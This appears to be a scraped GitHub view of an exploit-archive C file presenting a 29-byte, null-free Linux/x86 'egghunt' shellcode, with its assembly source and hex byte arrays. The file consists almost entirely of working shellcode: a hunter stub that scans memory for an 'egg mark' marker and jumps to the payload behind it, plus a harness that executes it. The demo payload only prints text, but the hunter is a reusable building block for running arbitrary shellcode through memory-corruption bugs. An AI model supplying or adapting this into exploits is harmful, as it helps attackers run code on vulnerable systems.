-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy path17559.c
70 lines (67 loc) · 1.78 KB
/
17559.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/*
Exploit Title: Linux/x86 egghunt shellcode 29 bytes NULL free
Date: 23-07-2011
Author: Ali Raheem
Tested on:
Linux Ali-PC.home 2.6.38.8-35.fc15.x86_64 #1 SMP Wed Jul 6 13:58:54 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Linux injustice 2.6.38-10-generic #46-Ubuntu SMP Tue Jun 28 15:05:41 UTC 2011 i686 i686 i386 GNU/Linux
http://codepad.org/2yMrNY5L Code pad lets you execute code live check here for a live demostration
Thanks: Stealth- for testing and codepad.com for being so useful.
section .data
msg db "We found the egg!",0ah,0dh
msg_len equ $-msg
egg equ "egg "
egg1 equ "mark"
section .text
global _start
_start:
jmp _return
_continue:
pop eax ;This can point anywhere valid
_next:
inc eax ;change to dec if you want to search backwards
_isEgg:
cmp dword [eax-8],egg
jne _next
cmp dword [eax-4],egg1
jne _next
jmp eax
_return:
call _continue
_egg:
db "egg mark" ;QWORD egg marker
sub eax,8
mov ecx,eax
mov edx,8
mov eax,4
mov ebx,1
int 80h
mov eax,1
mov ebx,0
int 80h
*/
char hunter[] =
"\xeb\x16"
"\x58"
"\x40" /* \x40 = inc eax, \x48 = dec eax try both*/
"\x81\x78\xf8\x65\x67\x67\x20"
"\x75\xf6"
"\x81\x78\xfc\x6d\x61\x72\x6b"
"\x75\xed"
"\xff\xe0"
"\xe8\xe5\xff\xff\xff";
char egg[] =
"egg mark" /* The rest of this is the shellcode you want found*/
"\x83\xe8\x08" /*This shellcode prints eax-4 i.e. the egg mark*/
"\x89\xc1"
"\xba\x08\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80";
int main(){
(*(void (*)()) hunter)();
return 0;
}